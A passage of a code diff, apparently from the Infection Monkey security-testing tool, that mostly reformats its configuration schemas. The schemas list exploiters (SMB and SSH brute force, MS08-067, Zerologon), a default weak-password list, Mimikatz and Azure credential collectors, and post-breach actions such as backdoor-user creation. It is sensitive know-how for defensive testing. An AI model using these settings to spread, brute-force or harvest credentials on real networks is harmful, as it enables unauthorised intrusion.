"SmbExploiter",
"WmiExploiter",
@@ -27,10 +25,10 @@ BASIC = {
"HadoopExploiter",
"VSFTPDExploiter",
"MSSQLExploiter",
- "DrupalExploiter"
- ]
+ "DrupalExploiter",
+ ],
}
- }
+ },
},
"credentials": {
"title": "Credentials",
@@ -40,24 +38,17 @@ BASIC = {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "string"
- },
- "default": [
- "Administrator",
- "root",
- "user"
- ],
- "description": "List of user names that will be used by exploiters that need credentials, like "
- "SSH brute-forcing."
+ "items": {"type": "string"},
+ "default": ["Administrator", "root", "user"],
+ "description": "List of user names that will be used by exploiters that need "
+ "credentials, like "
+ "SSH brute-forcing.",
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "string"
- },
+ "items": {"type": "string"},
"default": [
"root",
"123456",
@@ -65,12 +56,13 @@ BASIC = {
"123456789",
"qwerty",
"111111",
- "iloveyou"
+ "iloveyou",
],
- "description": "List of passwords that will be used by exploiters that need credentials, like "
- "SSH brute-forcing."
- }
- }
- }
- }
+ "description": "List of passwords that will be used by exploiters that need "
+ "credentials, like "
+ "SSH brute-forcing.",
+ },
+ },
+ },
+ },
}
diff --git a/monkey/monkey_island/cc/services/config_schema/basic_network.py b/monkey/monkey_island/cc/services/config_schema/basic_network.py
index 5ae044d95..eceda4828 100644
--- a/monkey/monkey_island/cc/services/config_schema/basic_network.py
+++ b/monkey/monkey_island/cc/services/config_schema/basic_network.py
@@ -9,6 +9,11 @@ BASIC_NETWORK = {
"title": "Scope",
"type": "object",
"properties": {
+ "info_box": {
+ "info": 'The Monkey scans its subnet if "Local network scan" is checked. '
+ 'Additionally, the Monkey scans machines according to "Scan '
+ 'target list".',
+ },
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
@@ -17,49 +22,46 @@ BASIC_NETWORK = {
"type": "string",
"format": IP,
},
- "default": [
- ],
+ "default": [],
"description": "List of IPs that the Monkey will not scan.",
- "info": "The Monkey scans its subnet if \"Local network scan\" is ticked. "
- "Additionally the monkey scans machines according to \"Scan target list\"."
},
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",
"default": True,
- "description": "Determines whether the Monkey will scan the local subnets of machines it runs on, "
- "in addition to the IPs that are configured manually in the \"Scan target list\"."
+ "description": "Determines whether the Monkey will scan the local subnets of "
+ "machines it runs on, "
+ "in addition to the IPs that are configured manually in the "
+ '"Scan target list".',
},
"depth": {
"title": "Scan depth",
"type": "integer",
"minimum": 1,
"default": 2,
- "description":
- "Amount of hops allowed for the Monkey to spread from the Island server. \n"
- + WARNING_SIGN
- + " Note that setting this value too high may result in the Monkey propagating too far, "
- "if the \"Local network scan\" is enabled."
+ "description": "Amount of hops allowed for the Monkey to spread from the "
+ "Island server. \n"
+ + WARNING_SIGN
+ + " Note that setting this value too high may result in the "
+ "Monkey propagating too far, "
+ 'if the "Local network scan" is enabled.',
},
"subnet_scan_list": {
"title": "Scan target list",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "string",
- "format": IP_RANGE
- },
- "default": [
- ],
- "description":
- "List of targets the Monkey will try to scan. Targets can be IPs, subnets or hosts."
- " Examples:\n"
- "\tTarget a specific IP: \"192.168.0.1\"\n"
- "\tTarget a subnet using a network range: \"192.168.0.5-192.168.0.20\"\n"
- "\tTarget a subnet using an IP mask: \"192.168.0.5/24\"\n"
- "\tTarget a specific host: \"printer.example\""
- }
- }
+ "items": {"type": "string", "format": IP_RANGE},
+ "default": [],
+ "description": "List of targets the Monkey will try to scan. Targets can be "
+ "IPs, subnets or hosts."
+ " Examples:\n"
+ '\tTarget a specific IP: "192.168.0.1"\n'
+ "\tTarget a subnet using a network range: "
+ '"192.168.0.5-192.168.0.20"\n'
+ '\tTarget a subnet using an IP mask: "192.168.0.5/24"\n'
+ '\tTarget a specific host: "printer.example"',
+ },
+ },
},
"network_analysis": {
"title": "Network Analysis",
@@ -69,27 +71,26 @@ BASIC_NETWORK = {
"title": "Network segmentation testing",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "string",
- "format": IP_RANGE
- },
- "default": [
- ],
- "description":
- "Test for network segmentation by providing a list of network segments "
- "that should NOT be accessible to each other.\n\n"
- "For example, if you configured the following three segments: "
- "\"10.0.0.0/24\", \"11.0.0.2/32\", and \"12.2.3.0/24\", "
- "a Monkey running on 10.0.0.5 will try to access machines in the following subnets: "
- "11.0.0.2/32, 12.2.3.0/24. An alert on successful cross-segment connections "
- "will be shown in the reports. \n\n"
- "Network segments can be IPs, subnets or hosts. Examples:\n"
- "\tDefine a single-IP segment: \"192.168.0.1\"\n"
- "\tDefine a segment using a network range: \"192.168.0.5-192.168.0.20\"\n"
- "\tDefine a segment using an subnet IP mask: \"192.168.0.5/24\"\n"
- "\tDefine a single-host segment: \"printer.example\""
+ "items": {"type": "string", "format": IP_RANGE},
+ "default": [],
+ "description": "Test for network segmentation by providing a list of network "
+ "segments "
+ "that should NOT be accessible to each other.\n\n"
+ "For example, if you configured the following three segments: "
+ '"10.0.0.0/24", "11.0.0.2/32", and "12.2.3.0/24", '
+ "a Monkey running on 10.0.0.5 will try to access machines in "
+ "the following subnets: "
+ "11.0.0.2/32, 12.2.3.0/24. An alert on successful cross-segment "
+ "connections "
+ "will be shown in the reports. \n\n"
+ "Network segments can be IPs, subnets or hosts. Examples:\n"
+ '\tDefine a single-IP segment: "192.168.0.1"\n'
+ "\tDefine a segment using a network range: "
+ '"192.168.0.5-192.168.0.20"\n'
+ '\tDefine a segment using an subnet IP mask: "192.168.0.5/24"\n'
+ '\tDefine a single-host segment: "printer.example"',
}
- }
- }
- }
+ },
+ },
+ },
}
diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema.py b/monkey/monkey_island/cc/services/config_schema/config_schema.py
index 17d7752c0..fb1e35b45 100644
--- a/monkey/monkey_island/cc/services/config_schema/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema/config_schema.py
@@ -2,11 +2,15 @@ from monkey_island.cc.services.config_schema.basic import BASIC
from monkey_island.cc.services.config_schema.basic_network import BASIC_NETWORK
from monkey_island.cc.services.config_schema.definitions.exploiter_classes import EXPLOITER_CLASSES
from monkey_island.cc.services.config_schema.definitions.finger_classes import FINGER_CLASSES
-from monkey_island.cc.services.config_schema.definitions.post_breach_actions import POST_BREACH_ACTIONS
-from monkey_island.cc.services.config_schema.definitions.system_info_collector_classes import \
- SYSTEM_INFO_COLLECTOR_CLASSES
+from monkey_island.cc.services.config_schema.definitions.post_breach_actions import (
+ POST_BREACH_ACTIONS,
+)
+from monkey_island.cc.services.config_schema.definitions.system_info_collector_classes import (
+ SYSTEM_INFO_COLLECTOR_CLASSES,
+)
from monkey_island.cc.services.config_schema.internal import INTERNAL
from monkey_island.cc.services.config_schema.monkey import MONKEY
+from monkey_island.cc.services.config_schema.ransomware import RANSOMWARE
SCHEMA = {
"title": "Monkey",
@@ -18,16 +22,14 @@ SCHEMA = {
"exploiter_classes": EXPLOITER_CLASSES,
"system_info_collector_classes": SYSTEM_INFO_COLLECTOR_CLASSES,
"post_breach_actions": POST_BREACH_ACTIONS,
- "finger_classes": FINGER_CLASSES
-
+ "finger_classes": FINGER_CLASSES,
},
"properties": {
"basic": BASIC,
"basic_network": BASIC_NETWORK,
"monkey": MONKEY,
+ "ransomware": RANSOMWARE,
"internal": INTERNAL,
},
- "options": {
- "collapsed": True
- }
+ "options": {"collapsed": True},
}
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
index 88186e9ed..c450f8d2a 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
@@ -4,7 +4,8 @@ EXPLOITER_CLASSES = {
"title": "Exploit class",
"description": "Click on exploiter to get more information about it."
+ WARNING_SIGN
- + " Note that using unsafe exploits may cause crashes of the exploited machine/service.",
+ + " Note that using unsafe exploits may cause crashes of the exploited "
+ "machine/service.",
"type": "string",
"anyOf": [
{
@@ -15,7 +16,8 @@ EXPLOITER_CLASSES = {
"attack_techniques": ["T1110", "T1075", "T1035"],
"info": "Brute forces using credentials provided by user and"
" hashes gathered by mimikatz.",
- "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/smbexec/",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference"
+ "/exploiters/smbexec/",
},
{
"type": "string",
@@ -24,8 +26,10 @@ EXPLOITER_CLASSES = {
"safe": True,
"attack_techniques": ["T1110", "T1106"],
"info": "Brute forces WMI (Windows Management Instrumentation) "
- "using credentials provided by user and hashes gathered by mimikatz.",
- "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/wmiexec/",
+ "using credentials provided by user and hashes gathered by "
+ "mimikatz.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference"
+ "/exploiters/wmiexec/",
},
{
"type": "string",
@@ -35,16 +39,19 @@ EXPLOITER_CLASSES = {
"attack_techniques": ["T1110"],
"info": "Tries to brute force into MsSQL server and uses insecure "
"configuration to execute commands on server.",
- "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/mssql/",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference"
+ "/exploiters/mssql/",
},
{
"type": "string",
"enum": ["Ms08_067_Exploiter"],
"title": "MS08-067 Exploiter",
"safe": False,
- "info": "Unsafe exploiter, that might cause system crash due to the use of buffer overflow. "
+ "info": "Unsafe exploiter, that might cause system crash due to the use of buffer "
+ "overflow. "
"Uses MS08-067 vulnerability.",
- "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08-067/",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08"
+ "-067/",
},
{
"type": "string",
@@ -52,8 +59,10 @@ EXPLOITER_CLASSES = {
"title": "SSH Exploiter",
"safe": True,
"attack_techniques": ["T1110", "T1145", "T1106"],
- "info": "Brute forces using credentials provided by user and SSH keys gathered from systems.",
- "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sshexec/",
+ "info": "Brute forces using credentials provided by user and SSH keys "
+ "gathered from systems.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference"
+ "/exploiters/sshexec/",
},
{
"type": "string",
@@ -62,7 +71,8 @@ EXPLOITER_CLASSES = {
"safe": True,
"info": "CVE-2014-6271, based on logic from "
"https://github.com/nccgroup/shocker/blob/master/shocker.py .",
- "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/shellshock/",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters"
+ "/shellshock/",
},
{
"type": "string",
@@ -70,7 +80,8 @@ EXPLOITER_CLASSES = {
"title": "SambaCry Exploiter",
"safe": True,
"info": "Bruteforces and searches for anonymous shares. Uses Impacket.",
- "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sambacry/",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters"
+ "/sambacry/",
},
{
"type": "string",
@@ -78,7 +89,8 @@ EXPLOITER_CLASSES = {
"title": "ElasticGroovy Exploiter",
"safe": True,
"info": "CVE-2015-1427. Logic is based on Metasploit module.",
- "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/elasticgroovy/",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters"
+ "/elasticgroovy/",
},
{
"type": "string",
@@ -95,7 +107,8 @@ EXPLOITER_CLASSES = {
"title": "WebLogic Exploiter",
"safe": True,
"info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.",
- "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/weblogic/",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters"
+ "/weblogic/",
},
{
"type": "string",
@@ -103,7 +116,8 @@ EXPLOITER_CLASSES = {
"title": "Hadoop/Yarn Exploiter",
"safe": True,
"info": "Remote code execution on HADOOP server with YARN and default settings. "
- "Logic based on https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.",
+ "Logic based on "
+ "https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/",
},
{
@@ -137,7 +151,8 @@ EXPLOITER_CLASSES = {
"password has been restored. If Infection Monkey fails to restore the "
"password automatically, you'll have to do it manually. For more "
"information, see the documentation.",
- "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/",
+ "link": "https://www.guardicore.com/infectionmonkey"
+ "/docs/reference/exploiters/zerologon/",
},
],
}
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py
index 8edff3fcc..2a617e011 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py
@@ -1,76 +1,63 @@
FINGER_CLASSES = {
"title": "Fingerprint class",
"description": "Fingerprint modules collect info about external services "
- "Infection Monkey scans.",
+ "Infection Monkey scans.",
"type": "string",
"anyOf": [
{
"type": "string",
- "enum": [
- "SMBFinger"
- ],
+ "enum": ["SMBFinger"],
"title": "SMBFinger",
"safe": True,
"info": "Figures out if SMB is running and what's the version of it.",
- "attack_techniques": ["T1210"]
+ "attack_techniques": ["T1210"],
},
{
"type": "string",
- "enum": [
- "SSHFinger"
- ],
+ "enum": ["SSHFinger"],
"title": "SSHFinger",
"safe": True,
"info": "Figures out if SSH is running.",
- "attack_techniques": ["T1210"]
+ "attack_techniques": ["T1210"],
},
{
"type": "string",
- "enum": [
- "PingScanner"
- ],
+ "enum": ["PingScanner"],
"title": "PingScanner",
"safe": True,
- "info": "Tries to identify if host is alive and which OS it's running by ping scan."
+ "info": "Tries to identify if host is alive and which OS it's running by ping scan.",
},
{
"type": "string",
- "enum": [
- "HTTPFinger"
- ],
+ "enum": ["HTTPFinger"],
"title": "HTTPFinger",
"safe": True,
- "info": "Checks if host has HTTP/HTTPS ports open."
+ "info": "Checks if host has HTTP/HTTPS ports open.",
},
{
"type": "string",
- "enum": [
- "MySQLFinger"
- ],
+ "enum": ["MySQLFinger"],
"title": "MySQLFinger",
"safe": True,
"info": "Checks if MySQL server is running and tries to get it's version.",
- "attack_techniques": ["T1210"]
+ "attack_techniques": ["T1210"],
},
{
"type": "string",
- "enum": [
- "MSSQLFinger"
- ],
+ "enum": ["MSSQLFinger"],
"title": "MSSQLFinger",
"safe": True,
- "info": "Checks if Microsoft SQL service is running and tries to gather information about it.",
- "attack_techniques": ["T1210"]
+ "info": "Checks if Microsoft SQL service is running and tries to gather "
+ "information about it.",
+ "attack_techniques": ["T1210"],
},
{
"type": "string",
- "enum": [
- "ElasticFinger"
- ],
+ "enum": ["ElasticFinger"],
"title": "ElasticFinger",
"safe": True,
- "info": "Checks if ElasticSearch is running and attempts to find it's version.",
- "attack_techniques": ["T1210"]
- }
- ]
+ "info": "Checks if ElasticSearch is running and attempts to find it's " "version.",
+ "attack_techniques": ["T1210"],
+ },
+ ],
}
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py
index 857e80da4..086dc8569 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py
@@ -1,123 +1,108 @@
POST_BREACH_ACTIONS = {
"title": "Post breach actions",
- "description": "Runs scripts/commands on infected machines. These actions safely simulate what an adversary"
- "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.",
+ "description": "Runs scripts/commands on infected machines. These actions safely simulate what "
+ "an adversary"
+ "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.",
"type": "string",
"anyOf": [
{
"type": "string",
- "enum": [
- "BackdoorUser"
- ],
+ "enum": ["BackdoorUser"],
"title": "Back door user",
"safe": True,
"info": "Attempts to create a new user on the system and delete it afterwards.",
- "attack_techniques": ["T1136"]
+ "attack_techniques": ["T1136"],
},
{
"type": "string",
- "enum": [
- "CommunicateAsNewUser"
- ],
+ "enum": ["CommunicateAsNewUser"],
"title": "Communicate as new user",
"safe": True,
- "info": "Attempts to create a new user, create HTTPS requests as that user and delete the user "
- "afterwards.",
- "attack_techniques": ["T1136"]
+ "info": "Attempts to create a new user, create HTTPS requests as that "
+ "user and delete the user "
+ "afterwards.",
+ "attack_techniques": ["T1136"],
},
{
"type": "string",
- "enum": [
- "ModifyShellStartupFiles"
- ],
+ "enum": ["ModifyShellStartupFiles"],
"title": "Modify shell startup files",
"safe": True,
- "info": "Attempts to modify shell startup files, like ~/.profile, ~/.bashrc, ~/.bash_profile "
- "in linux, and profile.ps1 in windows. Reverts modifications done afterwards.",
- "attack_techniques": ["T1156", "T1504"]
+ "info": "Attempts to modify shell startup files, like ~/.profile, "
+ "~/.bashrc, ~/.bash_profile "
+ "in linux, and profile.ps1 in windows. Reverts modifications done"
+ " afterwards.",
+ "attack_techniques": ["T1156", "T1504"],
},
{
"type": "string",
- "enum": [
- "HiddenFiles"
- ],
+ "enum": ["HiddenFiles"],
"title": "Hidden files and directories",
"safe": True,
"info": "Attempts to create a hidden file and remove it afterward.",
- "attack_techniques": ["T1158"]
+ "attack_techniques": ["T1158"],
},
{
"type": "string",
- "enum": [
- "TrapCommand"
- ],
+ "enum": ["TrapCommand"],
"title": "Trap",
"safe": True,
- "info": "On Linux systems, attempts to trap an interrupt signal in order to execute a command "
- "upon receiving that signal. Removes the trap afterwards.",
- "attack_techniques": ["T1154"]
+ "info": "On Linux systems, attempts to trap an interrupt signal in order "
+ "to execute a command "
+ "upon receiving that signal. Removes the trap afterwards.",
+ "attack_techniques": ["T1154"],
},
{
"type": "string",
- "enum": [
- "ChangeSetuidSetgid"
- ],
+ "enum": ["ChangeSetuidSetgid"],
"title": "Setuid and Setgid",
"safe": True,
- "info": "On Linux systems, attempts to set the setuid and setgid bits of a new file. "
- "Removes the file afterwards.",
- "attack_techniques": ["T1166"]
+ "info": "On Linux systems, attempts to set the setuid and setgid bits of "
+ "a new file. "
+ "Removes the file afterwards.",
+ "attack_techniques": ["T1166"],
},
{
"type": "string",
- "enum": [
- "ScheduleJobs"
- ],
+ "enum": ["ScheduleJobs"],
"title": "Job scheduling",
"safe": True,
"info": "Attempts to create a scheduled job on the system and remove it.",
- "attack_techniques": ["T1168", "T1053"]
+ "attack_techniques": ["T1168", "T1053"],
},
{
"type": "string",
- "enum": [
- "Timestomping"
- ],
+ "enum": ["Timestomping"],
"title": "Timestomping",
"safe": True,
- "info": "Creates a temporary file and attempts to modify its time attributes. Removes the file afterwards.",
- "attack_techniques": ["T1099"]
+ "info": "Creates a temporary file and attempts to modify its time "
+ "attributes. Removes the file afterwards.",
+ "attack_techniques": ["T1099"],
},
{
"type": "string",
- "enum": [
- "SignedScriptProxyExecution"
- ],
+ "enum": ["SignedScriptProxyExecution"],
"title": "Signed script proxy execution",
"safe": False,
"info": "On Windows systems, attempts to execute an arbitrary file "
- "with the help of a pre-existing signed script.",
- "attack_techniques": ["T1216"]
+ "with the help of a pre-existing signed script.",
+ "attack_techniques": ["T1216"],
},
{
"type": "string",
- "enum": [
- "AccountDiscovery"
- ],
+ "enum": ["AccountDiscovery"],
"title": "Account Discovery",
"safe": True,
"info": "Attempts to get a listing of user accounts on the system.",
- "attack_techniques": ["T1087"]
+ "attack_techniques": ["T1087"],
},
{
"type": "string",
- "enum": [
- "ClearCommandHistory"
- ],
+ "enum": ["ClearCommandHistory"],
"title": "Clear command history",
"safe": False,
"info": "Attempts to clear the command history.",
- "attack_techniques": ["T1146"]
- }
- ]
+ "attack_techniques": ["T1146"],
+ },
+ ],
}
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py
index cd756ed61..9a4a39050 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py
@@ -1,6 +1,11 @@
-from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,
- ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,
- MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)
+from common.common_consts.system_info_collectors_names import (
+ AWS_COLLECTOR,
+ AZURE_CRED_COLLECTOR,
+ ENVIRONMENT_COLLECTOR,
+ HOSTNAME_COLLECTOR,
+ MIMIKATZ_COLLECTOR,
+ PROCESS_LIST_COLLECTOR,
+)
SYSTEM_INFO_COLLECTOR_CLASSES = {
"title": "System Information Collectors",
@@ -9,63 +14,52 @@ SYSTEM_INFO_COLLECTOR_CLASSES = {
"anyOf": [
{
"type": "string",
- "enum": [
- ENVIRONMENT_COLLECTOR
- ],
+ "enum": [ENVIRONMENT_COLLECTOR],
"title": "Environment collector",
"safe": True,
- "info": "Collects information about machine's environment (on premise/GCP/AWS).",
- "attack_techniques": ["T1082"]
+ "info": "Collects information about machine's environment (on " "premise/GCP/AWS).",
+ "attack_techniques": ["T1082"],
},
{
"type": "string",
- "enum": [
- MIMIKATZ_COLLECTOR
- ],
+ "enum": [MIMIKATZ_COLLECTOR],
"title": "Mimikatz collector",
"safe": True,
"info": "Collects credentials from Windows credential manager.",
- "attack_techniques": ["T1003", "T1005"]
+ "attack_techniques": ["T1003", "T1005"],
},
{
"type": "string",
- "enum": [
- AWS_COLLECTOR
- ],
+ "enum": [AWS_COLLECTOR],
"title": "AWS collector",
"safe": True,
- "info": "If on AWS, collects more information about the AWS instance currently running on.",
- "attack_techniques": ["T1082"]
+ "info": "If on AWS, collects more information about the AWS instance "
+ "currently running on.",
+ "attack_techniques": ["T1082"],
},
{
"type": "string",
- "enum": [
- HOSTNAME_COLLECTOR
- ],
+ "enum": [HOSTNAME_COLLECTOR],
"title": "Hostname collector",
"safe": True,
"info": "Collects machine's hostname.",
- "attack_techniques": ["T1082", "T1016"]
+ "attack_techniques": ["T1082", "T1016"],
},
{
"type": "string",
- "enum": [
- PROCESS_LIST_COLLECTOR
- ],
+ "enum": [PROCESS_LIST_COLLECTOR],
"title": "Process list collector",
"safe": True,
"info": "Collects a list of running processes on the machine.",
- "attack_techniques": ["T1082"]
+ "attack_techniques": ["T1082"],
},
{
"type": "string",
- "enum": [
- AZURE_CRED_COLLECTOR
- ],
+ "enum": [AZURE_CRED_COLLECTOR],
"title": "Azure credential collector",
"safe": True,
"info": "Collects password credentials from Azure VMs",
- "attack_techniques": ["T1003", "T1005"]
- }
- ]
+ "attack_techniques": ["T1003", "T1005"],
+ },
+ ],
}
diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py
index f6b3523f0..1ce1c864b 100644
--- a/monkey/monkey_island/cc/services/config_schema/internal.py
+++ b/monkey/monkey_island/cc/services/config_schema/internal.py
@@ -12,29 +12,31 @@ INTERNAL = {
"title": "Singleton mutex name",
"type": "string",
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
- "description":
- "The name of the mutex used to determine whether the monkey is already running"
+ "description": "The name of the mutex used to determine whether the monkey is "
+ "already running",
},
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
"default": 60,
- "description": "Time to keep tunnel open before going down after last exploit (in seconds)"
+ "description": "Time to keep tunnel open before going down after last exploit "
+ "(in seconds)",
},
"monkey_dir_name": {
"title": "Monkey's directory name",
"type": "string",
"default": r"monkey_dir",
- "description": "Directory name for the directory which will contain all of the monkey files"
+ "description": "Directory name for the directory which will contain all of the"
+ " monkey files",
},
"started_on_island": {
"title": "Started on island",
"type": "boolean",
"default": False,
"description": "Was exploitation started from island"
- "(did monkey with max depth ran on island)"
+ "(did monkey with max depth ran on island)",
},
- }
+ },
},
"monkey": {
"title": "Monkey",
@@ -44,75 +46,63 @@ INTERNAL = {
"title": "Max victims to find",
"type": "integer",
"default": 100,
- "description": "Determines the maximum number of machines the monkey is allowed to scan"
+ "description": "Determines the maximum number of machines the monkey is "
+ "allowed to scan",
},
"victims_max_exploit": {
"title": "Max victims to exploit",
"type": "integer",
"default": 100,
- "description":
- "Determines the maximum number of machines the monkey"
- " is allowed to successfully exploit. " + WARNING_SIGN
- + " Note that setting this value too high may result in the monkey propagating to "
- "a high number of machines"
+ "description": "Determines the maximum number of machines the monkey"
+ " is allowed to successfully exploit. "
+ + WARNING_SIGN
+ + " Note that setting this value too high may result in the "
+ "monkey propagating to "
+ "a high number of machines",
},
"internet_services": {
"title": "Internet services",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "string"
- },
- "default": [
- "monkey.guardicore.com",
- "www.google.com"
- ],
- "description":
- "List of internet services to try and communicate with to determine internet"
- " connectivity (use either ip or domain)"
+ "items": {"type": "string"},
+ "default": ["monkey.guardicore.com", "www.google.com"],
+ "description": "List of internet services to try and communicate with to "
+ "determine internet"
+ " connectivity (use either ip or domain)",
},
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
"default": True,
- "description": "Should the monkey delete its executable when going down"
+ "description": "Should the monkey delete its executable when going down",
},
"use_file_logging": {
"title": "Use file logging",
"type": "boolean",
"default": True,
- "description": "Should the monkey dump to a log file"
+ "description": "Should the monkey dump to a log file",
},
"serialize_config": {
"title": "Serialize config",
"type": "boolean",
"default": False,
- "description": "Should the monkey dump its config on startup"
+ "description": "Should the monkey dump its config on startup",
},
"alive": {
"title": "Alive",
"type": "boolean",
"default": True,
- "description": "Is the monkey alive"
+ "description": "Is the monkey alive",
},
"aws_keys": {
"type": "object",
"properties": {
- "aws_access_key_id": {
- "type": "string",
- "default": ""
- },
- "aws_secret_access_key": {
- "type": "string",
- "default": ""
- },
- "aws_session_token": {
- "type": "string",
- "default": ""
- }
- }
- }
- }
+ "aws_access_key_id": {"type": "string", "default": ""},
+ "aws_secret_access_key": {"type": "string", "default": ""},
+ "aws_session_token": {"type": "string", "default": ""},
+ },
+ },
+ },
},
"island_server": {
"title": "Island server",
@@ -122,22 +112,19 @@ INTERNAL = {
"title": "Island server's IP's",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "string"
- },
- "default": [
- "192.0.2.0:5000"
- ],
- "description": "List of command servers/network interfaces to try to communicate with "
- "(format is :)"
+ "items": {"type": "string"},
+ "default": ["192.0.2.0:5000"],
+ "description": "List of command servers/network interfaces to try to "
+ "communicate with "
+ "(format is :)",
},
"current_server": {
"title": "Current server",
"type": "string",
"default": "192.0.2.0:5000",
- "description": "The current command server the monkey is communicating with"
- }
- }
+ "description": "The current command server the monkey is communicating with",
+ },
+ },
},
"network": {
"title": "Network",
@@ -151,26 +138,16 @@ INTERNAL = {
"title": "HTTP ports",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "integer"
- },
- "default": [
- 80,
- 8080,
- 443,
- 8008,
- 7001,
- 9200
- ],
- "description": "List of ports the monkey will check if are being used for HTTP"
+ "items": {"type": "integer"},
+ "default": [80, 8080, 443, 8008, 7001, 9200],
+ "description": "List of ports the monkey will check if are being used "
+ "for HTTP",
},
"tcp_target_ports": {
"title": "TCP target ports",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "integer"
- },
+ "items": {"type": "integer"},
"default": [
22,
2222,
@@ -183,29 +160,32 @@ INTERNAL = {
8008,
3306,
7001,
- 8088
+ 8088,
],
- "description": "List of TCP ports the monkey will check whether they're open"
+ "description": "List of TCP ports the monkey will check whether "
+ "they're open",
},
"tcp_scan_interval": {
"title": "TCP scan interval",
"type": "integer",
"default": 0,
- "description": "Time to sleep (in milliseconds) between scans"
+ "description": "Time to sleep (in milliseconds) between scans",
},
"tcp_scan_timeout": {
"title": "TCP scan timeout",
"type": "integer",
"default": 3000,
- "description": "Maximum time (in milliseconds) to wait for TCP response"
+ "description": "Maximum time (in milliseconds) "
+ "to wait for TCP response",
},
"tcp_scan_get_banner": {
"title": "TCP scan - get banner",
"type": "boolean",
"default": True,
- "description": "Determines whether the TCP scan should try to get the banner"
- }
- }
+ "description": "Determines whether the TCP scan should try to get the "
+ "banner",
+ },
+ },
},
"ping_scanner": {
"title": "Ping scanner",
@@ -215,11 +195,12 @@ INTERNAL = {
"title": "Ping scan timeout",
"type": "integer",
"default": 1000,
- "description": "Maximum time (in milliseconds) to wait for ping response"
+ "description": "Maximum time (in milliseconds) to wait for ping "
+ "response",
}
- }
- }
- }
+ },
+ },
+ },
},
"classes": {
"title": "Classes",
@@ -229,9 +210,7 @@ INTERNAL = {
"title": "Fingerprint classes",
"type": "array",
"uniqueItems": True,
- "items": {
- "$ref": "#/definitions/finger_classes"
- },
+ "items": {"$ref": "#/definitions/finger_classes"},
"default": [
"SMBFinger",
"SSHFinger",
@@ -239,10 +218,10 @@ INTERNAL = {
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
- "ElasticFinger"
- ]
+ "ElasticFinger",
+ ],
}
- }
+ },
},
"kill_file": {
"title": "Kill file",
@@ -252,15 +231,15 @@ INTERNAL = {
"title": "Kill file path on Windows",
"type": "string",
"default": "%windir%\\monkey.not",
- "description": "Path of file which kills monkey if it exists (on Windows)"
+ "description": "Path of file which kills monkey if it exists (on Windows)",
},
"kill_file_path_linux": {
"title": "Kill file path on Linux",
"type": "string",
"default": "/var/run/monkey.not",
- "description": "Path of file which kills monkey if it exists (on Linux)"
- }
- }
+ "description": "Path of file which kills monkey if it exists (on Linux)",
+ },
+ },
},
"dropper": {
"title": "Dropper",
